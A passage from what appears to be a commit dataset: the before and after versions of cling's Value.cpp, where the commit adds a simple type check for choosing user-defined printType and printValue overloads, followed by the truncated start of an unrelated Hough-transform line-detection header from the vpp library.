\"clang\/AST\/Type.h\"\n#include \"clang\/Frontend\/CompilerInstance.h\"\n#include \"clang\/Sema\/Lookup.h\"\n#include \"clang\/Sema\/Sema.h\"\n\n#include \"llvm\/Support\/raw_os_ostream.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n\n#include <iostream>\n#include <sstream>\n\nnamespace {\n \/\/\/\\brief The allocation starts with this layout; it is followed by the\n \/\/\/ value's object at m_Payload. This class does not inherit from\n \/\/\/ llvm::RefCountedBase because deallocation cannot use this type but must\n \/\/\/ free the character array.\n\n class AllocatedValue {\n public:\n typedef void (*DtorFunc_t)(void*);\n\n private:\n \/\/\/\\brief The reference count - once 0, this object will be deallocated.\n mutable unsigned m_RefCnt;\n\n \/\/\/\\brief The destructor function.\n DtorFunc_t m_DtorFunc;\n\n \/\/\/\\brief The size of the allocation (for arrays)\n unsigned long m_AllocSize;\n\n \/\/\/\\brief The number of elements in the array\n unsigned long m_NElements;\n\n \/\/\/\\brief The start of the allocation.\n char m_Payload[1];\n\n static DtorFunc_t PtrToFunc(void* ptr) {\n union {\n void* m_Ptr;\n DtorFunc_t m_Func;\n };\n m_Ptr = ptr;\n return m_Func;\n }\n\n\n public:\n \/\/\/\\brief Initialize the storage management part of the allocated object.\n \/\/\/ The allocator is referencing it, thus initialize m_RefCnt with 1.\n \/\/\/\\param [in] dtorFunc - the function to be called before deallocation.\n AllocatedValue(void* dtorFunc, size_t allocSize, size_t nElements):\n m_RefCnt(1), m_DtorFunc(PtrToFunc(dtorFunc)), m_AllocSize(allocSize),\n m_NElements(nElements)\n {}\n\n char* getPayload() { return m_Payload; }\n\n static unsigned getPayloadOffset() {\n static const AllocatedValue Dummy(0,0,0);\n return Dummy.m_Payload - (const char*)&Dummy;\n }\n\n static AllocatedValue* getFromPayload(void* payload) {\n return\n reinterpret_cast<AllocatedValue*>((char*)payload - getPayloadOffset());\n }\n\n void Retain() { ++m_RefCnt; }\n\n \/\/\/\\brief This object must be allocated as a char array. Deallocate it as\n \/\/\/ such.\n void Release() {\n assert (m_RefCnt > 0 && \"Reference count is already zero.\");\n if (--m_RefCnt == 0) {\n if (m_DtorFunc) {\n char* payload = getPayload();\n for (size_t el = 0; el < m_NElements; ++el)\n (*m_DtorFunc)(payload + el * m_AllocSize \/ m_NElements);\n }\n delete [] (char*)this;\n }\n }\n };\n}\n\nnamespace cling {\n\nValue::Value(const Value& other):\n m_Storage(other.m_Storage), m_Type(other.m_Type),\n m_Interpreter(other.m_Interpreter) {\n if (needsManagedAllocation())\n AllocatedValue::getFromPayload(m_Storage.m_Ptr)->Retain();\n}\n\nValue::Value(Value&& other):\n m_Storage(other.m_Storage), m_Type(other.m_Type),\n m_Interpreter(other.m_Interpreter) {\n \/\/ Invalidate other so it will not release.\n other.m_Type = 0;\n}\n\nValue::Value(clang::QualType clangTy, Interpreter& Interp):\n m_Type(clangTy.getAsOpaquePtr()), m_Interpreter(&Interp) {\n if (needsManagedAllocation())\n ManagedAllocate();\n}\n\nValue& Value::operator =(const Value& other) {\n \/\/ Release old value.\n if (needsManagedAllocation())\n AllocatedValue::getFromPayload(m_Storage.m_Ptr)->Release();\n\n \/\/ Retain new one.\n m_Type = other.m_Type;\n m_Storage = other.m_Storage;\n m_Interpreter = other.m_Interpreter;\n if (needsManagedAllocation())\n AllocatedValue::getFromPayload(m_Storage.m_Ptr)->Retain();\n return *this;\n}\n\nValue& Value::operator =(Value&& other) {\n \/\/ Release old value.\n if (needsManagedAllocation())\n AllocatedValue::getFromPayload(m_Storage.m_Ptr)->Release();\n\n \/\/ Move new one.\n m_Type = other.m_Type;\n m_Storage = other.m_Storage;\n m_Interpreter = other.m_Interpreter;\n \/\/ Invalidate other so it will not release.\n other.m_Type = 0;\n\n return *this;\n}\n\nValue::~Value() {\n if (needsManagedAllocation())\n AllocatedValue::getFromPayload(m_Storage.m_Ptr)->Release();\n}\n\nclang::QualType Value::getType() const {\n return clang::QualType::getFromOpaquePtr(m_Type);\n}\n\nclang::ASTContext& Value::getASTContext() const {\n return m_Interpreter->getCI()->getASTContext();\n}\n\n\nbool Value::isValid() const { return !getType().isNull(); }\n\nbool Value::isVoid() const {\n const clang::ASTContext& Ctx = getASTContext();\n return isValid() && Ctx.hasSameType(getType(), Ctx.VoidTy);\n}\n\nunsigned long Value::GetNumberOfElements() const {\n if (const clang::ConstantArrayType* ArrTy\n = llvm::dyn_cast<clang::ConstantArrayType>(getType())) {\n llvm::APInt arrSize(sizeof(unsigned long)*8, 1);\n do {\n arrSize *= ArrTy->getSize();\n ArrTy = llvm::dyn_cast<clang::ConstantArrayType>(ArrTy->getElementType()\n .getTypePtr());\n } while (ArrTy);\n return (unsigned long)arrSize.getZExtValue();\n }\n return 1;\n}\n\nValue::EStorageType Value::getStorageType() const {\n const clang::Type* desugCanon = getType()->getUnqualifiedDesugaredType();\n desugCanon = desugCanon->getCanonicalTypeUnqualified()->getTypePtr()\n ->getUnqualifiedDesugaredType();\n if (desugCanon->isSignedIntegerOrEnumerationType())\n return kSignedIntegerOrEnumerationType;\n else if (desugCanon->isUnsignedIntegerOrEnumerationType())\n return kUnsignedIntegerOrEnumerationType;\n else if (desugCanon->isRealFloatingType()) {\n const clang::BuiltinType* BT = desugCanon->getAs<clang::BuiltinType>();\n if (BT->getKind() == clang::BuiltinType::Double)\n return kDoubleType;\n else if (BT->getKind() == clang::BuiltinType::Float)\n return kFloatType;\n else if (BT->getKind() == clang::BuiltinType::LongDouble)\n return kLongDoubleType;\n } else if (desugCanon->isPointerType() || desugCanon->isObjectType()\n || desugCanon->isReferenceType())\n return kPointerType;\n return kUnsupportedType;\n}\n\nbool Value::needsManagedAllocation() const {\n if (!isValid()) return false;\n const clang::Type* UnqDes = getType()->getUnqualifiedDesugaredType();\n return UnqDes->isRecordType() || UnqDes->isConstantArrayType()\n || UnqDes->isMemberPointerType();\n}\n\nvoid Value::ManagedAllocate() {\n void* dtorFunc = 0;\n clang::QualType DtorType = getType();\n \/\/ For arrays we destruct the elements.\n if (const clang::ConstantArrayType* ArrTy\n = llvm::dyn_cast<clang::ConstantArrayType>(DtorType.getTypePtr())) {\n DtorType = ArrTy->getElementType();\n }\n if (const clang::RecordType* RTy = DtorType->getAs<clang::RecordType>())\n dtorFunc = GetDtorWrapperPtr(RTy->getDecl());\n\n const clang::ASTContext& ctx = getASTContext();\n unsigned payloadSize = ctx.getTypeSizeInChars(getType()).getQuantity();\n char* alloc = new char[AllocatedValue::getPayloadOffset() + payloadSize];\n AllocatedValue* allocVal = new (alloc) AllocatedValue(dtorFunc, payloadSize,\n GetNumberOfElements());\n m_Storage.m_Ptr = allocVal->getPayload();\n}\n\nvoid Value::AssertOnUnsupportedTypeCast() const {\n assert(\"unsupported type in Value, cannot cast simplistically!\" && 0);\n}\n\n\/\/\/ \\brief Get the function address of the wrapper of the destructor.\nvoid* Value::GetDtorWrapperPtr(const clang::RecordDecl* RD) const {\n std::string funcname;\n {\n llvm::raw_string_ostream namestr(funcname);\n namestr << \"__cling_StoredValue_Destruct_\" << RD;\n }\n\n std::string code(\"extern \\\"C\\\" void \");\n {\n clang::QualType RDQT(RD->getTypeForDecl(), 0);\n std::string typeName\n = utils::TypeName::GetFullyQualifiedName(RDQT, RD->getASTContext());\n std::string dtorName = RD->getNameAsString();\n code += funcname + \"(void* obj){((\" + typeName + \"*)obj)->~\"\n + dtorName + \"();}\";\n }\n\n return m_Interpreter->compileFunction(funcname, code, true \/*ifUniq*\/,\n false \/*withAccessControl*\/);\n}\n\n void Value::print(llvm::raw_ostream& Out) const {\n \/\/ Try to find user defined printing functions:\n \/\/ cling::printType(const void* const p, TY* const u, const Value& V) and\n \/\/ cling::printValue(const void* const p, TY* const u, const Value& V)\n\n using namespace clang;\n Sema& SemaR = m_Interpreter->getSema();\n ASTContext& C = SemaR.getASTContext();\n NamespaceDecl* ClingNSD = utils::Lookup::Namespace(&SemaR, \"cling\");\n SourceLocation noLoc;\n LookupResult R(SemaR, &C.Idents.get(\"printType\"), noLoc,\n Sema::LookupOrdinaryName, Sema::ForRedeclaration);\n assert(ClingNSD && \"There must be a valid namespace.\");\n\n {\n \/\/ Could trigger deserialization of decls.\n cling::Interpreter::PushTransactionRAII RAII(m_Interpreter);\n SemaR.LookupQualifiedName(R, ClingNSD);\n \/\/ We commit here because the possibly deserialized decls from the lookup\n \/\/ will be needed by evaluate.\n }\n QualType ValueTy = this->getType();\n std::string ValueTyStr = ValueTy.getAsString();\n std::string typeStr;\n std::string valueStr;\n if (!R.empty() && ValueTy->isPointerType()) {\n \/\/ There is such a routine call it:\n std::stringstream printTypeSS;\n printTypeSS << \"cling::printType(\";\n printTypeSS << '(' << ValueTyStr << ')' << this->getPtr() << ',';\n printTypeSS << '(' << ValueTyStr << ')' << this->getPtr() << ',';\n printTypeSS <<\"(*(cling::Value*)\" << this << \"));\";\n Value printTypeV;\n m_Interpreter->evaluate(printTypeSS.str(), printTypeV);\n assert(printTypeV.isValid() && \"Must return valid value.\");\n typeStr = *(std::string*)printTypeV.getPtr();\n \/\/ CXXScopeSpec CSS;\n \/\/ Expr* UnresolvedLookup\n \/\/ = m_Sema->BuildDeclarationNameExpr(CSS, R, \/*ADL*\/ false).take();\n \/\/ \/\/ Build Arg1: const void* const p\n \/\/ QualType ConstVoidPtrTy = C.VoidPtrTy.withConst();\n \/\/ Expr* Arg1\n \/\/ = utils::Synthesize::CStyleCastPtrExpr(SemaR, ConstVoidPtrTy,\n \/\/ (uint64_t)this->getPtr());\n\n \/\/ \/\/ Build Arg2: TY* const u\n \/\/ Expr* Arg2\n \/\/ = utils::Synthesize::CStyleCastPtrExpr(SemaR, ValueTy,\n \/\/ (uint64_t)this->getPtr());\n\n \/\/ \/\/ Build Arg3: const Value&\n \/\/ RecordDecl* ClingValueDecl\n \/\/ = dyn_cast<RecordDecl>(utils::Lookup::Named(SemaR, \"Value\",ClingNSD));\n \/\/ assert(ClingValueDecl && \"Declaration must be found!\");\n \/\/ QualType ClingValueTy = m_Context->getTypeDeclType(ClingValueDecl);\n \/\/ Expr* Arg3\n \/\/ = utils::Synthesize::CStyleCastPtrExpr(m_Sema, ClingValueTy,\n \/\/ (uint64_t)this);\n \/\/ llvm::SmallVector<Expr*, 4> CallArgs;\n \/\/ CallArgs.push_back(Arg1);\n \/\/ CallArgs.push_back(Arg2);\n \/\/ CallArgs.push_back(Arg3);\n \/\/ Expr* Call = m_Sema->ActOnCallExpr(\/*Scope*\/0, UnresolvedLookup, noLoc,\n \/\/ CallArgs, noLoc).take();\n }\n else {\n llvm::raw_string_ostream o(typeStr);\n cling::valuePrinterInternal::printType_Default(o, *this);\n }\n R.clear();\n R.setLookupName(&C.Idents.get(\"printValue\"));\n {\n \/\/ Could trigger deserialization of decls.\n cling::Interpreter::PushTransactionRAII RAII(m_Interpreter);\n SemaR.LookupQualifiedName(R, ClingNSD);\n \/\/ We commit here because the possibly deserialized decls from the lookup\n \/\/ will be needed by evaluate.\n }\n\n if (!R.empty() && ValueTy->isPointerType()) {\n \/\/ There is such a routine call it:\n std::stringstream printValueSS;\n printValueSS << \"cling::printValue(\";\n printValueSS << '(' << ValueTyStr << ')' << this->getPtr() << ',';\n printValueSS << '(' << ValueTyStr << ')' << this->getPtr() << ',';\n printValueSS <<\"(*(cling::Value*)\" << this << \"));\";\n Value printValueV;\n m_Interpreter->evaluate(printValueSS.str(), printValueV);\n assert(printValueV.isValid() && \"Must return valid value.\");\n valueStr = *(std::string*)printValueV.getPtr();\n }\n else {\n llvm::raw_string_ostream o(valueStr);\n cling::valuePrinterInternal::printValue_Default(o, *this);\n }\n\n \/\/ print the type and the value:\n Out << typeStr + valueStr << \"\\n\";\n }\n\n void Value::dump() const {\n \/\/ We need stream that doesn't close its file descriptor, thus we are not\n \/\/ using llvm::outs. Keeping file descriptor open we will be able to use\n \/\/ the results in pipes (Savannah #99234).\n\n \/\/ Alternatively we could use llvm::errs()\n llvm::OwningPtr<llvm::raw_ostream> Out;\n Out.reset(new llvm::raw_os_ostream(std::cout));\n print(*Out.get());\n }\n} \/\/ namespace cling\n<commit_msg>Add a simple overload candidate selector.<commit_after>\/\/------------------------------------------------------------------------------\n\/\/ CLING - the C++ LLVM-based InterpreterG :)\n\/\/ author: Axel Naumann <axel@cern.ch>\n\/\/\n\/\/ This file is dual-licensed: you can choose to license it under the University\n\/\/ of Illinois Open Source License or the GNU Lesser General Public License. See\n\/\/ LICENSE.TXT for details.\n\/\/------------------------------------------------------------------------------\n\n#include \"cling\/Interpreter\/Value.h\"\n\n#include \"cling\/Interpreter\/Interpreter.h\"\n#include \"cling\/Interpreter\/Transaction.h\"\n#include \"cling\/Interpreter\/ValuePrinter.h\"\n#include \"cling\/Utils\/AST.h\"\n\n#include \"clang\/AST\/ASTContext.h\"\n#include \"clang\/AST\/CanonicalType.h\"\n#include \"clang\/AST\/Type.h\"\n#include \"clang\/Frontend\/CompilerInstance.h\"\n#include \"clang\/Sema\/Lookup.h\"\n#include \"clang\/Sema\/Sema.h\"\n\n#include \"llvm\/Support\/raw_os_ostream.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n\n#include <iostream>\n#include <sstream>\n\nnamespace {\n \/\/\/\\brief The allocation starts with this layout; it is followed by the\n \/\/\/ value's object at m_Payload. This class does not inherit from\n \/\/\/ llvm::RefCountedBase because deallocation cannot use this type but must\n \/\/\/ free the character array.\n\n class AllocatedValue {\n public:\n typedef void (*DtorFunc_t)(void*);\n\n private:\n \/\/\/\\brief The reference count - once 0, this object will be deallocated.\n mutable unsigned m_RefCnt;\n\n \/\/\/\\brief The destructor function.\n DtorFunc_t m_DtorFunc;\n\n \/\/\/\\brief The size of the allocation (for arrays)\n unsigned long m_AllocSize;\n\n \/\/\/\\brief The number of elements in the array\n unsigned long m_NElements;\n\n \/\/\/\\brief The start of the allocation.\n char m_Payload[1];\n\n static DtorFunc_t PtrToFunc(void* ptr) {\n union {\n void* m_Ptr;\n DtorFunc_t m_Func;\n };\n m_Ptr = ptr;\n return m_Func;\n }\n\n\n public:\n \/\/\/\\brief Initialize the storage management part of the allocated object.\n \/\/\/ The allocator is referencing it, thus initialize m_RefCnt with 1.\n \/\/\/\\param [in] dtorFunc - the function to be called before deallocation.\n AllocatedValue(void* dtorFunc, size_t allocSize, size_t nElements):\n m_RefCnt(1), m_DtorFunc(PtrToFunc(dtorFunc)), m_AllocSize(allocSize),\n m_NElements(nElements)\n {}\n\n char* getPayload() { return m_Payload; }\n\n static unsigned getPayloadOffset() {\n static const AllocatedValue Dummy(0,0,0);\n return Dummy.m_Payload - (const char*)&Dummy;\n }\n\n static AllocatedValue* getFromPayload(void* payload) {\n return\n reinterpret_cast<AllocatedValue*>((char*)payload - getPayloadOffset());\n }\n\n void Retain() { ++m_RefCnt; }\n\n \/\/\/\\brief This object must be allocated as a char array. Deallocate it as\n \/\/\/ such.\n void Release() {\n assert (m_RefCnt > 0 && \"Reference count is already zero.\");\n if (--m_RefCnt == 0) {\n if (m_DtorFunc) {\n char* payload = getPayload();\n for (size_t el = 0; el < m_NElements; ++el)\n (*m_DtorFunc)(payload + el * m_AllocSize \/ m_NElements);\n }\n delete [] (char*)this;\n }\n }\n };\n}\n\nnamespace cling {\n\nValue::Value(const Value& other):\n m_Storage(other.m_Storage), m_Type(other.m_Type),\n m_Interpreter(other.m_Interpreter) {\n if (needsManagedAllocation())\n AllocatedValue::getFromPayload(m_Storage.m_Ptr)->Retain();\n}\n\nValue::Value(Value&& other):\n m_Storage(other.m_Storage), m_Type(other.m_Type),\n m_Interpreter(other.m_Interpreter) {\n \/\/ Invalidate other so it will not release.\n other.m_Type = 0;\n}\n\nValue::Value(clang::QualType clangTy, Interpreter& Interp):\n m_Type(clangTy.getAsOpaquePtr()), m_Interpreter(&Interp) {\n if (needsManagedAllocation())\n ManagedAllocate();\n}\n\nValue& Value::operator =(const Value& other) {\n \/\/ Release old value.\n if (needsManagedAllocation())\n AllocatedValue::getFromPayload(m_Storage.m_Ptr)->Release();\n\n \/\/ Retain new one.\n m_Type = other.m_Type;\n m_Storage = other.m_Storage;\n m_Interpreter = other.m_Interpreter;\n if (needsManagedAllocation())\n AllocatedValue::getFromPayload(m_Storage.m_Ptr)->Retain();\n return *this;\n}\n\nValue& Value::operator =(Value&& other) {\n \/\/ Release old value.\n if (needsManagedAllocation())\n AllocatedValue::getFromPayload(m_Storage.m_Ptr)->Release();\n\n \/\/ Move new one.\n m_Type = other.m_Type;\n m_Storage = other.m_Storage;\n m_Interpreter = other.m_Interpreter;\n \/\/ Invalidate other so it will not release.\n other.m_Type = 0;\n\n return *this;\n}\n\nValue::~Value() {\n if (needsManagedAllocation())\n AllocatedValue::getFromPayload(m_Storage.m_Ptr)->Release();\n}\n\nclang::QualType Value::getType() const {\n return clang::QualType::getFromOpaquePtr(m_Type);\n}\n\nclang::ASTContext& Value::getASTContext() const {\n return m_Interpreter->getCI()->getASTContext();\n}\n\n\nbool Value::isValid() const { return !getType().isNull(); }\n\nbool Value::isVoid() const {\n const clang::ASTContext& Ctx = getASTContext();\n return isValid() && Ctx.hasSameType(getType(), Ctx.VoidTy);\n}\n\nunsigned long Value::GetNumberOfElements() const {\n if (const clang::ConstantArrayType* ArrTy\n = llvm::dyn_cast<clang::ConstantArrayType>(getType())) {\n llvm::APInt arrSize(sizeof(unsigned long)*8, 1);\n do {\n arrSize *= ArrTy->getSize();\n ArrTy = llvm::dyn_cast<clang::ConstantArrayType>(ArrTy->getElementType()\n .getTypePtr());\n } while (ArrTy);\n return (unsigned long)arrSize.getZExtValue();\n }\n return 1;\n}\n\nValue::EStorageType Value::getStorageType() const {\n const clang::Type* desugCanon = getType()->getUnqualifiedDesugaredType();\n desugCanon = desugCanon->getCanonicalTypeUnqualified()->getTypePtr()\n ->getUnqualifiedDesugaredType();\n if (desugCanon->isSignedIntegerOrEnumerationType())\n return kSignedIntegerOrEnumerationType;\n else if (desugCanon->isUnsignedIntegerOrEnumerationType())\n return kUnsignedIntegerOrEnumerationType;\n else if (desugCanon->isRealFloatingType()) {\n const clang::BuiltinType* BT = desugCanon->getAs<clang::BuiltinType>();\n if (BT->getKind() == clang::BuiltinType::Double)\n return kDoubleType;\n else if (BT->getKind() == clang::BuiltinType::Float)\n return kFloatType;\n else if (BT->getKind() == clang::BuiltinType::LongDouble)\n return kLongDoubleType;\n } else if (desugCanon->isPointerType() || desugCanon->isObjectType()\n || desugCanon->isReferenceType())\n return kPointerType;\n return kUnsupportedType;\n}\n\nbool Value::needsManagedAllocation() const {\n if (!isValid()) return false;\n const clang::Type* UnqDes = getType()->getUnqualifiedDesugaredType();\n return UnqDes->isRecordType() || UnqDes->isConstantArrayType()\n || UnqDes->isMemberPointerType();\n}\n\nvoid Value::ManagedAllocate() {\n void* dtorFunc = 0;\n clang::QualType DtorType = getType();\n \/\/ For arrays we destruct the elements.\n if (const clang::ConstantArrayType* ArrTy\n = llvm::dyn_cast<clang::ConstantArrayType>(DtorType.getTypePtr())) {\n DtorType = ArrTy->getElementType();\n }\n if (const clang::RecordType* RTy = DtorType->getAs<clang::RecordType>())\n dtorFunc = GetDtorWrapperPtr(RTy->getDecl());\n\n const clang::ASTContext& ctx = getASTContext();\n unsigned payloadSize = ctx.getTypeSizeInChars(getType()).getQuantity();\n char* alloc = new char[AllocatedValue::getPayloadOffset() + payloadSize];\n AllocatedValue* allocVal = new (alloc) AllocatedValue(dtorFunc, payloadSize,\n GetNumberOfElements());\n m_Storage.m_Ptr = allocVal->getPayload();\n}\n\nvoid Value::AssertOnUnsupportedTypeCast() const {\n assert(\"unsupported type in Value, cannot cast simplistically!\" && 0);\n}\n\n\/\/\/ \\brief Get the function address of the wrapper of the destructor.\nvoid* Value::GetDtorWrapperPtr(const clang::RecordDecl* RD) const {\n std::string funcname;\n {\n llvm::raw_string_ostream namestr(funcname);\n namestr << \"__cling_StoredValue_Destruct_\" << RD;\n }\n\n std::string code(\"extern \\\"C\\\" void \");\n {\n clang::QualType RDQT(RD->getTypeForDecl(), 0);\n std::string typeName\n = utils::TypeName::GetFullyQualifiedName(RDQT, RD->getASTContext());\n std::string dtorName = RD->getNameAsString();\n code += funcname + \"(void* obj){((\" + typeName + \"*)obj)->~\"\n + dtorName + \"();}\";\n }\n\n return m_Interpreter->compileFunction(funcname, code, true \/*ifUniq*\/,\n false \/*withAccessControl*\/);\n}\n\n void Value::print(llvm::raw_ostream& Out) const {\n \/\/ Try to find user defined printing functions:\n \/\/ cling::printType(const void* const p, TY* const u, const Value& V) and\n \/\/ cling::printValue(const void* const p, TY* const u, const Value& V)\n\n using namespace clang;\n Sema& SemaR = m_Interpreter->getSema();\n ASTContext& C = SemaR.getASTContext();\n NamespaceDecl* ClingNSD = utils::Lookup::Namespace(&SemaR, \"cling\");\n SourceLocation noLoc;\n LookupResult R(SemaR, &C.Idents.get(\"printType\"), noLoc,\n Sema::LookupOrdinaryName, Sema::ForRedeclaration);\n assert(ClingNSD && \"There must be a valid namespace.\");\n\n {\n \/\/ Could trigger deserialization of decls.\n cling::Interpreter::PushTransactionRAII RAII(m_Interpreter);\n SemaR.LookupQualifiedName(R, ClingNSD);\n \/\/ We commit here because the possibly deserialized decls from the lookup\n \/\/ will be needed by evaluate.\n }\n QualType ValueTy = this->getType();\n std::string ValueTyStr = ValueTy.getAsString();\n std::string typeStr;\n std::string valueStr;\n\n bool hasViablePrintTypeCandidate = false;\n if (!R.empty() && ValueTy->isPointerType()) {\n \/\/ Check if among the candidates there are functions with the same type:\n const UnresolvedSetImpl& unresolved = R.asUnresolvedSet();\n \/\/ FIXME: Find a way to use the 'proper' overload checks.\n for (UnresolvedSetImpl::const_iterator I = unresolved.begin(),\n E = unresolved.end(); I < E; ++I) {\n if (FunctionDecl* FD = dyn_cast<FunctionDecl>(*I))\n if (C.hasSameType(FD->getParamDecl(0)->getType(), ValueTy)) {\n hasViablePrintTypeCandidate = true;\n break;\n }\n }\n }\n\n if (hasViablePrintTypeCandidate) {\n \/\/ There is such a routine call it:\n std::stringstream printTypeSS;\n printTypeSS << \"cling::printType(\";\n printTypeSS << '(' << ValueTyStr << ')' << this->getPtr() << ',';\n printTypeSS << '(' << ValueTyStr << ')' << this->getPtr() << ',';\n printTypeSS <<\"(*(cling::Value*)\" << this << \"));\";\n Value printTypeV;\n m_Interpreter->evaluate(printTypeSS.str(), printTypeV);\n assert(printTypeV.isValid() && \"Must return valid value.\");\n typeStr = *(std::string*)printTypeV.getPtr();\n \/\/ CXXScopeSpec CSS;\n \/\/ Expr* UnresolvedLookup\n \/\/ = m_Sema->BuildDeclarationNameExpr(CSS, R, \/*ADL*\/ false).take();\n \/\/ \/\/ Build Arg1: const void* const p\n \/\/ QualType ConstVoidPtrTy = C.VoidPtrTy.withConst();\n \/\/ Expr* Arg1\n \/\/ = utils::Synthesize::CStyleCastPtrExpr(SemaR, ConstVoidPtrTy,\n \/\/ (uint64_t)this->getPtr());\n\n \/\/ \/\/ Build Arg2: TY* const u\n \/\/ Expr* Arg2\n \/\/ = utils::Synthesize::CStyleCastPtrExpr(SemaR, ValueTy,\n \/\/ (uint64_t)this->getPtr());\n\n \/\/ \/\/ Build Arg3: const Value&\n \/\/ RecordDecl* ClingValueDecl\n \/\/ = dyn_cast<RecordDecl>(utils::Lookup::Named(SemaR, \"Value\",ClingNSD));\n \/\/ assert(ClingValueDecl && \"Declaration must be found!\");\n \/\/ QualType ClingValueTy = m_Context->getTypeDeclType(ClingValueDecl);\n \/\/ Expr* Arg3\n \/\/ = utils::Synthesize::CStyleCastPtrExpr(m_Sema, ClingValueTy,\n \/\/ (uint64_t)this);\n \/\/ llvm::SmallVector<Expr*, 4> CallArgs;\n \/\/ CallArgs.push_back(Arg1);\n \/\/ CallArgs.push_back(Arg2);\n \/\/ CallArgs.push_back(Arg3);\n \/\/ Expr* Call = m_Sema->ActOnCallExpr(\/*Scope*\/0, UnresolvedLookup, noLoc,\n \/\/ CallArgs, noLoc).take();\n }\n else {\n llvm::raw_string_ostream o(typeStr);\n cling::valuePrinterInternal::printType_Default(o, *this);\n }\n R.clear();\n R.setLookupName(&C.Idents.get(\"printValue\"));\n {\n \/\/ Could trigger deserialization of decls.\n cling::Interpreter::PushTransactionRAII RAII(m_Interpreter);\n SemaR.LookupQualifiedName(R, ClingNSD);\n \/\/ We commit here because the possibly deserialized decls from the lookup\n \/\/ will be needed by evaluate.\n }\n\n bool hasViablePrintValueCandidate = false;\n if (!R.empty() && ValueTy->isPointerType()) {\n \/\/ Check if among the candidates there are functions with the same type:\n const UnresolvedSetImpl& unresolved = R.asUnresolvedSet();\n \/\/ FIXME: Find a way to use the 'proper' overload checks.\n for (UnresolvedSetImpl::const_iterator I = unresolved.begin(),\n E = unresolved.end(); I < E; ++I) {\n if (FunctionDecl* FD = dyn_cast<FunctionDecl>(*I))\n if (C.hasSameType(FD->getParamDecl(0)->getType(), ValueTy)) {\n hasViablePrintValueCandidate = true;\n break;\n }\n }\n }\n if (hasViablePrintValueCandidate) {\n \/\/ There is such a routine call it:\n std::stringstream printValueSS;\n printValueSS << \"cling::printValue(\";\n printValueSS << '(' << ValueTyStr << ')' << this->getPtr() << ',';\n printValueSS << '(' << ValueTyStr << ')' << this->getPtr() << ',';\n printValueSS <<\"(*(cling::Value*)\" << this << \"));\";\n Value printValueV;\n m_Interpreter->evaluate(printValueSS.str(), printValueV);\n assert(printValueV.isValid() && \"Must return valid value.\");\n valueStr = *(std::string*)printValueV.getPtr();\n }\n else {\n llvm::raw_string_ostream o(valueStr);\n cling::valuePrinterInternal::printValue_Default(o, *this);\n }\n\n \/\/ print the type and the value:\n Out << typeStr + valueStr << \"\\n\";\n }\n\n void Value::dump() const {\n \/\/ We need stream that doesn't close its file descriptor, thus we are not\n \/\/ using llvm::outs. Keeping file descriptor open we will be able to use\n \/\/ the results in pipes (Savannah #99234).\n\n \/\/ Alternatively we could use llvm::errs()\n llvm::OwningPtr<llvm::raw_ostream> Out;\n Out.reset(new llvm::raw_os_ostream(std::cout));\n print(*Out.get());\n }\n} \/\/ namespace cling\n<|endoftext|>"} {"text":"<commit_before>#ifndef DENSE_ONE_TO_ONE_HOUGH_HH\n#define DENSE_ONE_TO_ONE_HOUGH_HH\n\n\n#include \"openacc.h\"\n#include \"vpp\/algorithms\/Line_tracker_4_sfm\/miscellanous\/operations.hh\"\n#include <opencv2\/highgui.hpp>\n#include <opencv2\/videoio.hpp>\n#include <vpp\/vpp.hh>\n#include <Eigen\/Core>\n#include <vpp\/utils\/opencv_bridge.hh>\n#include <iod\/timer.hh>\n\nusing namespace vpp;\nusing namespace std;\nusing namespace Eigen;\nusing namespace iod;\nusing namespace cv;\n\nnamespace vpp{\n\n#define Two_PI 2*M_PI\n\n\nstd::list<vint2> Hough_Lines_Parallel(image2d<uchar> img,\n std::vector<float>& t_accumulator,\n int Theta_max, float& max_of_the_accu\n , image2d<uchar> &out\n , std::vector<std::list<vint2> > &points50);\nstd::list<vint2> Hough_Lines_Parallel_Kmeans(image2d<uchar> img,\n std::vector<float>& t_accumulator,\n int Theta_max,int rhomax, float& max_of_the_accu\n , image2d<uchar> &grad_img );\nstd::list<vint2> Hough_Lines_Parallel(image2d<uchar> img,\n std::vector<float>& t_accumulator,\n int Theta_max, float& max_of_the_accu\n , image2d<uchar> &grad_img, std::vector<vint4>& extremites);\nstd::list<vint2> Hough_Lines_Parallel(image2d<uchar> img,\n std::vector<float>& t_accumulator,\n int Theta_max, float& max_of_the_accu\n , image2d<uchar> &grad_img);\nstd::list<vint2> Hough_Lines_Parallel_Update_Threshold(image2d<uchar> img,\n std::vector<float>& t_accumulator,\n int Theta_max,int rhomax, float& max_of_the_accu\n , image2d<uchar> &grad_img , float& grad_threshold , int N);\nstd::list<vint2> Hough_Lines_Parallel_Sparse(image2d<uchar> img,\n std::vector<float>& t_accumulator,\n int Theta_max, int rhomax, float& max_of_the_accu\n , image2d<uchar> &grad_img , float grad_threshold , int N);\nstd::list<vint2> Hough_Lines_Parallel_Sparse1(image2d<uchar> img,\n std::vector<float>& t_accumulator,\n int Theta_max, float& max_of_the_accu\n , image2d<uchar> &grad_img);\nstd::list<vint2> Hough_Lines_Parallel(image2d<uchar> img,\n std::vector<float>& t_accumulator,\n int Theta_max, int rhomax, float& max_of_the_accu\n , image2d<uchar> &grad_img , float acc_threshold);\n\nstd::list<vint2> Hough_Lines_Parallel_one(Mat bv,\n std::vector<float>& t_accumulator,\n int Theta_max, float& max_of_the_accu\n , Mat &grad_img);\n\nstd::list<vint2> Hough_Lines_Parallel_one(image2d<uchar> img, Mat bv,\n std::vector<float>& t_accumulator,\n int Theta_max, float& max_of_the_accu\n , Mat &grad_img , std::vector<LineIterator> list_interest);\n\nvoid Hough_Lines_Sequentiel(image2d<vuchar1> img,int sigma,int nbsigma,std::vector<float>& t_accumulator, int nrows, int ncols);\n\n\nstd::list<vint2> Hough_Lines_Parallel_Gradient(image2d<uchar> img,\n std::vector<float>& t_accumulator,\n int Theta_max, float& max_of_the_accu,\n image2d<uchar> &grad_img, std::vector<vint4> &points50);\nstd::list<vint2> Hough_Lines_Parallel_Basic(image2d<uchar> img,\n std::vector<float>& t_accumulator,\n int Theta_max, float& max_of_the_accu);\nstd::priority_queue<vint2> Hough_Lines_Parallel_V3(image2d<vuchar1> img,\n std::vector<float>& t_accumulator,\n int Theta_max, float& max_of_the_accu, int threshold,\n image2d<vuchar3> &cluster_colors , int nb_old);\nvoid adap_thresold(std::list<vfloat3> &list_temp , float &threshold_hough , int &calls ,\n int &nb_calls_limits_reached , int rhomax, int T_theta, std::vector<float> t_accumulator);\nvoid reduce_number_of_max_local(std::list<vfloat3> &list_temp , float threshold_hough , int rhomax, int 